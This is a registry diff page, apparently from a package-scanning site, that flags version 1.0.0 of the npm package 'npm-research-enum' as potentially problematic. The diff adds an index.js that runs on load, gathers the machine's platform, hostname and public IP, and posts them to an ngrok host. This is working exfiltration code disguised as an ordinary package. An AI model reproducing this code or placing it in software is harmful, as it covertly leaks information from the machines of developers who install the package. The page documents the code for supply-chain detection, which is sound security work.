npm-research-enum 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of npm-research-enum might be problematic. Click here for more details.
- package/index.js +29 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
|
3
|
+
async function postData(url = '', data = {}) {
|
4
|
+
fetch(url, {
|
5
|
+
method: 'POST',
|
6
|
+
headers: {
|
7
|
+
'Content-Type': 'application/json',
|
8
|
+
},
|
9
|
+
body: JSON.stringify(data),
|
10
|
+
});
|
11
|
+
}
|
12
|
+
|
13
|
+
async function getPublicIP() {
|
14
|
+
const response = await fetch('https://api.ipify.org/?format=json');
|
15
|
+
const data = await response.json();
|
16
|
+
return data.ip;
|
17
|
+
}
|
18
|
+
|
19
|
+
async function runPayload() {
|
20
|
+
const ip = await getPublicIP();
|
21
|
+
const data = {
|
22
|
+
osVersion: os.platform(),
|
23
|
+
hostname: os.hostname(),
|
24
|
+
ip: ip,
|
25
|
+
};
|
26
|
+
postData("https://4fa0-165-231-177-182.ngrok-free.app/", data);
|
27
|
+
}
|
28
|
+
|
29
|
+
runPayload();
|